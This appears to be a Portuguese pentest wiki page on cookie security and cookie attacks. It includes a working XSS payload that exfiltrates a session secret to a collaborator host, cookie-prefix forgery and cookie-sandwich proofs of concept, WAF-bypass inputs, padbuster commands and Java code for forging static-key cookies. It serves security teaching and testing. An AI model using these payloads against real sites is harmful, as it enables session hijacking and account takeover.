Cookies Hacking

Reading time: 22 minutes

Atributos de Cookie

Cookies vêm com vários atributos que controlam seu comportamento no navegador do usuário. Abaixo está um resumo desses atributos em voz mais passiva:

Expires and Max-Age

A data de expiração de um cookie é determinada pelo atributo Expires. Por outro lado, o atributo Max-age define o tempo em segundos até que um cookie seja excluído. Prefira Max-age, pois reflete práticas mais modernas.

Domain

Os hosts que devem receber um cookie são especificados pelo atributo Domain. Por padrão, isso é definido para o host que emitiu o cookie, sem incluir seus subdomínios. Porém, quando o atributo Domain é explicitamente definido, ele também abrange subdomínios. Isso torna a especificação do atributo Domain uma opção menos restritiva, útil em cenários onde é necessário compartilhar cookies entre subdomínios. Por exemplo, definir Domain=mozilla.org torna os cookies acessíveis em subdomínios como developer.mozilla.org.

Path

O atributo Path indica um caminho de URL específico que deve estar presente na URL solicitada para que o header Cookie seja enviado. Esse atributo considera o caractere / como separador de diretório, permitindo corresponder também em subdiretórios.

Ordering Rules

Quando dois cookies têm o mesmo nome, o cookie escolhido para envio é baseado em:

• O cookie que corresponda ao Path mais longo na URL solicitada.
• O cookie mais recentemente definido se os paths forem idênticos.

SameSite

• O atributo SameSite dita se os cookies são enviados em requisições originadas de domínios de terceiros. Ele oferece três configurações:
• Strict: Restringe o envio do cookie em requisições de terceiros.
• Lax: Permite que o cookie seja enviado com requisições GET iniciadas por sites de terceiros.
• None: Permite que o cookie seja enviado a partir de qualquer domínio de terceiros.

Lembre-se: ao configurar cookies, entender esses atributos ajuda a garantir que eles se comportem como esperado em diferentes cenários.

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Observe que a partir do Chrome80 (feb/2019) o comportamento padrão de um cookie sem o atributo SameSite será lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Observe que, temporariamente após aplicar essa mudança, os cookies sem uma política SameSite no Chrome serão tratados como None durante os primeiros 2 minutos e depois como Lax para requisições POST cross-site de nível superior.

Flags de Cookie

HttpOnly

Isso evita que o cliente acesse o cookie (via Javascript, por exemplo: document.cookie)

Bypasses

• Se a página estiver enviando os cookies como a resposta de uma request (por exemplo em uma página PHPinfo), é possível abusar de XSS para enviar uma request para essa página e roubar os cookies da resposta (veja um exemplo em https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Isso pode ser contornado com requests TRACE HTTP, pois a resposta do servidor (se esse método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada Cross-Site Tracking.
• Essa técnica é evitada por navegadores modernos que não permitem enviar um request TRACE a partir de JS. Contudo, alguns bypasses foram encontrados em software específico, como enviar \r\nTRACE ao invés de TRACE para o IE6.0 SP2.
• Outra forma é a exploração de vulnerabilidades zero-day dos navegadores.
• É possível sobrescrever HttpOnly cookies realizando um Cookie Jar overflow attack:

Cookie Jar Overflow

• É possível usar um ataque de Cookie Smuggling para exfiltrar esses cookies
• Se algum endpoint server-side ecoar o session ID bruto na resposta HTTP (por exemplo, dentro de comentários HTML ou um bloco de debug), você pode contornar o HttpOnly usando um gadget XSS para buscar esse endpoint, extrair o segredo com regex e exfiltrá-lo. Padrão de payload XSS de exemplo:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

A requisição irá enviar o cookie em uma requisição HTTP somente se a requisição for transmitida por um canal seguro (tipicamente HTTPS).

Cookies Prefixes

Cookies com prefixo __Secure- devem ser definidos com a flag secure em páginas protegidas por HTTPS.

Para cookies com prefixo __Host-, várias condições devem ser atendidas:

• Devem ser definidos com a flag secure.
• Devem originar-se de uma página protegida por HTTPS.
• É proibido especificar um domínio, impedindo sua transmissão para subdomínios.
• O path desses cookies deve ser definido como /.

É importante notar que cookies com prefixo __Host- não podem ser enviados para superdomínios nem subdomínios. Essa restrição ajuda a isolar os cookies da aplicação. Portanto, usar o prefixo __Host- em todos os cookies da aplicação pode ser considerado uma boa prática para aumentar a segurança e o isolamento.

Overwriting cookies

Uma das proteções dos cookies com prefixo __Host- é impedir que sejam sobrescritos por subdomínios. Evita, por exemplo, Cookie Tossing attacks. Na palestra Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) é mostrado que era possível definir __HOST- prefixado cookies a partir de um subdomínio, enganando o parser, por exemplo, adicionando "=" no começo ou no começo e no fim...:

Ou, em PHP, era possível adicionar outros caracteres no início do nome do cookie que seriam substituídos por underscore characters, permitindo sobrescrever __HOST- cookies:

Unicode whitespace cookie-name smuggling (prefix forgery)

Aproveite discrepâncias entre o parsing do browser e do servidor ao prefixar um code point de espaço em branco Unicode ao nome do cookie. O browser não vai considerar que o nome literalmente começa com __Host-/__Secure-, então ele permite a definição a partir de um subdomínio. Se o backend remover/normalizar espaços em branco Unicode iniciais nas chaves de cookie, ele verá o nome protegido e poderá sobrescrever o cookie de alto privilégio.

• PoC de um subdomínio que pode definir cookies do domínio pai:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Comportamento típico do backend que possibilita o problema:

• Frameworks que trim/normalizam os nomes de cookie. No Django, o str.strip() do Python remove uma ampla gama de pontos de código de espaço em branco Unicode, fazendo o nome normalizar para __Host-name.

• Pontos de código comumente removidos incluem: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Muitos frameworks resolvem nomes de cookie duplicados como "último vence", então o valor normalizado controlado pelo atacante sobrescreve o legítimo.

• Diferenças entre navegadores importam:

• Safari bloqueia espaços em branco Unicode multibyte em nomes de cookie (por exemplo, rejeita U+2000) mas ainda permite os de único byte U+0085 e U+00A0, que muitos backends removem. Teste em vários navegadores.

• Impacto: Permite sobrescrever cookies __Host-/__Secure- a partir de contextos menos confiáveis (subdomínios), o que pode levar a XSS (se refletido), sobrescrição de token CSRF, e session fixation.

• Exemplo on-the-wire vs visão do servidor (U+2000 presente no nome):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Muitos backends split/parse and depois trim, resultando no __Host-name normalizado assumindo o valor do atacante.

Legado $Version=1 cookie splitting on Java backends (prefix bypass)

Algumas Java stacks (e.g., Tomcat/Jetty-style) ainda ativam o legacy RFC 2109/2965 parsing quando o header Cookie começa com $Version=1. Isso pode fazer com que o servidor reinterprete uma única string de cookie como múltiplos cookies lógicos e aceite uma entrada forjada __Host- que foi originalmente definida a partir de um subdomínio ou até mesmo por uma origem insegura.

• PoC forcing legacy parsing:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Por que funciona:

• Verificações de prefixo no lado do cliente se aplicam durante o set, mas o parsing legado no lado do servidor posteriormente divide e normaliza o header, contornando a intenção das garantias de prefixo __Host-/__Secure-.

• Onde testar: Tomcat, Jetty, Undertow, ou frameworks que ainda respeitam os atributos RFC 2109/2965. Combine com semânticas de sobrescrita para nomes duplicados.

Primitive de sobrescrita "last-wins" para nomes duplicados

Quando dois cookies normalizam para o mesmo nome, muitos backends (incluindo Django) usam a última ocorrência. Depois que smuggling/legacy-splitting produz duas entradas __Host-*, a controlada pelo atacante tipicamente vence.

Detecção e ferramentas

Use Burp Suite para sondar essas condições:

• Tente múltiplos code points de whitespace Unicode no início: U+2000, U+0085, U+00A0 e observe se o backend aparar e trata o nome como prefixado.
• Envie $Version=1 primeiro no Cookie header e verifique se o backend realiza divisão/normalização legada.
• Observe a resolução de nomes duplicados (primeiro vs último vence) injetando dois cookies que normalizam para o mesmo nome.
• Burp Custom Action para automatizar isso: CookiePrefixBypass.bambda

Tip: Essas técnicas exploram a lacuna octet-vs-string do RFC 6265: navegadores enviam bytes; servidores decodificam e podem normalizar/aparar. Incompatibilidades na decodificação e normalização são o cerne do bypass.

Ataques com Cookies

Se um cookie customizado contiver dados sensíveis, verifique-o (especialmente se você estiver participando de um CTF), pois ele pode ser vulnerável.

Decodificação e Manipulação de Cookies

Dados sensíveis embutidos em cookies devem sempre ser examinados. Cookies codificados em Base64 ou formatos similares frequentemente podem ser decodificados. Essa vulnerabilidade permite que atacantes alterem o conteúdo do cookie e se façam passar por outros usuários ao codificar seus dados modificados de volta no cookie.

Session Hijacking

Esse ataque envolve roubar o cookie de um usuário para obter acesso não autorizado à conta dele dentro de uma aplicação. Ao usar o cookie roubado, um atacante pode se passar pelo usuário legítimo.

Session Fixation

Nesse cenário, um atacante engana a vítima para usar um cookie específico ao fazer login. Se a aplicação não atribuir um novo cookie no login, o atacante, possuindo o cookie original, pode se passar pela vítima. Essa técnica depende da vítima fazer login com um cookie fornecido pelo atacante.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Aqui, o atacante convence a vítima a usar o cookie de sessão do atacante. A vítima, acreditando estar logada em sua própria conta, irá inadvertidamente realizar ações no contexto da conta do atacante.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

JSON Web Tokens (JWT) usados em cookies também podem apresentar vulnerabilidades. Para informações aprofundadas sobre falhas potenciais e como explorá-las, recomenda-se acessar o documento linkado sobre hacking JWT.

Cross-Site Request Forgery (CSRF)

Esse ataque força um usuário autenticado a executar ações indesejadas em uma aplicação web na qual ele está autenticado. Atacantes podem explorar cookies que são enviados automaticamente com cada requisição para o site vulnerável.

Empty Cookies

(Check further details in theoriginal research) Navegadores permitem a criação de cookies sem nome, o que pode ser demonstrado via JavaScript da seguinte forma:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

O resultado no cabeçalho Cookie enviado é a=v1; test value; b=v2;. Curiosamente, isso permite a manipulação de cookies se um cookie com nome vazio for definido, potencialmente controlando outros cookies ao definir o cookie vazio para um valor específico:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Isso faz com que o navegador envie um cookie header interpretado por qualquer servidor web como um cookie chamado a com o valor b.

Chrome Bug: Problema de ponto de código substituto Unicode

No Chrome, se um ponto de código substituto Unicode fizer parte de um set cookie, document.cookie fica corrompido, passando a retornar uma string vazia em seguida:

document.cookie = "\ud800=meep"

Isso resulta em document.cookie retornando uma string vazia, indicando corrupção permanente.

Cookie Smuggling Due to Parsing Issues

(Check further details in theoriginal research) Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), lidam incorretamente com cookie strings devido ao suporte desatualizado ao RFC2965. Eles interpretam um cookie value entre aspas duplas como um único valor mesmo que inclua pontos e vírgulas, que normalmente deveriam separar key-value pairs:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Confira mais detalhes na original research) A análise incorreta de cookies por servidores, notavelmente Undertow, Zope e aqueles que usam Python's http.cookie.SimpleCookie e http.cookie.BaseCookie, cria oportunidades para cookie injection attacks. Esses servidores não delimitam corretamente o início de novos cookies, permitindo que atacantes spoofem cookies:

• Undertow espera um novo cookie imediatamente após um valor entre aspas sem ponto-e-vírgula.
• Zope procura por uma vírgula para começar a parsear o próximo cookie.
• As classes de cookie do Python começam a parsear a partir de um caractere espaço.

Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que atacantes injetem cookies de CSRF-token spoofados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookie duplicados no Python, onde a última ocorrência sobrescreve as anteriores. Também levanta preocupações para __Secure- e __Host- cookies em contextos inseguros e pode levar a bypasses de autorização quando cookies são encaminhados para servidores back-end suscetíveis a spoofing.

Cookies $version

WAF Bypass

De acordo com este blogpost, pode ser possível usar o atributo de cookie $Version=1 para fazer o backend usar uma lógica antiga para parsear o cookie devido ao RFC2109. Além disso, outros valores como $Domain e $Path podem ser usados para modificar o comportamento do backend com o cookie.

Cookie Sandwich Attack

De acordo com este blogpost é possível usar a técnica cookie sandwich para roubar HttpOnly cookies. Estes são os requisitos e passos:

• Encontrar um lugar onde um aparente cookie inútil é refletido na resposta
• Create a cookie called $Version com valor 1 (you can do this em um XSS a partir de JS) com um path mais específico para que ele obtenha a posição inicial (alguns frameworks como python não precisam deste passo)
• Create the cookie that is reflected com um valor que deixe uma open double quotes e com um path específico para que seja posicionado no banco de cookies depois do anterior ($Version)
• Então, o cookie legítimo ficará em seguida na ordem
• Create a dummy cookie that closes the double quotse dentro do seu valor

Dessa forma o cookie vítima fica preso dentro do novo cookie version 1 e será refletido sempre que for refletido. por exemplo, do post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Verifique a seção anterior.

Bypassing value analysis with quoted-string encoding

Esse parsing indica desfazer o escape de valores escapados dentro dos cookies, então "\a" torna-se "a". Isso pode ser útil para contornar WAFS, por exemplo:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

Na RFC2109 é indicado que uma vírgula pode ser usada como separador entre valores de cookie. E também é possível adicionar espaços e tabulações antes e depois do sinal de igual. Portanto, um cookie como $Version=1; foo=bar, abc = qux não gera o cookie "foo":"bar, admin = qux" mas os cookies foo":"bar" e "admin":"qux". Repare como 2 cookies são gerados e como admin perdeu o espaço antes e depois do sinal de igual.

Bypassing value analysis with cookie splitting

Finalmente, diferentes backdoors concatenariam em uma string diferentes cookies passados em diferentes cabeçalhos Cookie, como em:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

O que poderia permitir fazer bypass a um WAF, como neste exemplo:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Verificações Extras para Cookies Vulneráveis

Basic checks

• O cookie é o mesmo toda vez que você faz login.
• Faça Log out e tente usar o mesmo cookie.
• Tente fazer log in com 2 dispositivos (ou browsers) na mesma account usando o mesmo cookie.
• Verifique se o cookie tem alguma informação e tente modificá-lo
• Tente criar várias accounts com usernames quase iguais e verifique se consegue ver similaridades.
• Verifique a opção "remember me" se existir para ver como funciona. Se existir e puder ser vulnerável, sempre use apenas o cookie de remember me, sem qualquer outro cookie.
• Verifique se o cookie anterior funciona mesmo depois de você mudar a password.

Advanced cookies attacks

Se o cookie permanece o mesmo (ou quase) quando você faz log in, isso provavelmente significa que o cookie está relacionado a algum campo da sua account (provavelmente o username). Então você pode:

• Tente criar muitas accounts com usernames muito similares e tente adivinhar como o algoritmo funciona.
• Tente bruteforce the username. Se o cookie for usado apenas como método de autenticação para o seu username, então você pode criar uma account com username "Bmin" e bruteforce cada único bit do seu cookie porque um dos cookies que você vai testar será o que pertence ao "admin".
• Tente Padding Oracle (você pode descriptografar o conteúdo do cookie). Use padbuster.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster fará várias tentativas e perguntará qual é a condição de erro (aquela que não é válida).

Em seguida, começará o decrypting the cookie (pode levar vários minutos)

Se o attack tiver sido realizado com sucesso, então você poderia tentar encrypt uma string de sua escolha. Por exemplo, se você quiser encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Esta execução irá fornecer o cookie corretamente criptografado e codificado com a string user=administrator dentro.

CBC-MAC

Talvez um cookie possa ter algum valor e ser assinado usando CBC. Então, a integridade do valor é a assinatura criada utilizando CBC com o mesmo valor. Como é recomendado usar como IV um vetor nulo, esse tipo de verificação de integridade pode ser vulnerável.

O ataque

1. Obtenha a assinatura do nome de usuário administ = t
2. Obtenha a assinatura do nome de usuário rator\x00\x00\x00 XOR t = t'
3. Defina no cookie o valor administrator+t' (t' será uma assinatura válida de (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

Se o cookie for criptografado usando ECB ele pode ser vulnerável.
Ao fazer login o cookie que você recebe tem que ser sempre o mesmo.

How to detect and attack:

Crie 2 usuários com dados quase idênticos (nome de usuário, senha, email, etc.) e tente descobrir algum padrão dentro do cookie recebido

Crie um usuário chamado por exemplo "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" e verifique se há algum padrão no cookie (já que o ECB encripta com a mesma chave cada bloco, os mesmos bytes encriptados podem aparecer se o username for criptografado).

There should be a pattern (with the size of a used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".

Static-key cookie forgery (symmetric encryption of predictable IDs)

Algumas aplicações geram cookies de autenticação criptografando apenas um valor previsível (por exemplo, o ID numérico do usuário) sob uma chave simétrica global e codificada no código, e então codificando o ciphertext (hex/base64). Se a chave for estática por produto (ou por instalação), qualquer pessoa pode forjar cookies para usuários arbitrários offline e burlar a autenticação.

How to test/forge

• Identifique o(s) cookie(s) que determinam a autenticação, e.g., COOKIEID and ADMINCOOKIEID.
• Determine a cifra/codificação. Em um caso real a app usou IDEA com uma chave constante de 16 bytes e retornou o ciphertext como hex.
• Verifique criptografando seu próprio ID de usuário e comparando com o cookie emitido. Se coincidir, você pode gerar cookies para qualquer ID alvo (1 frequentemente mapeia para o primeiro admin).
• Defina o valor forjado diretamente como o cookie e navegue; nenhuma credencial é necessária.

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}

References

• When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
• Burp Custom Action – CookiePrefixBypass.bambda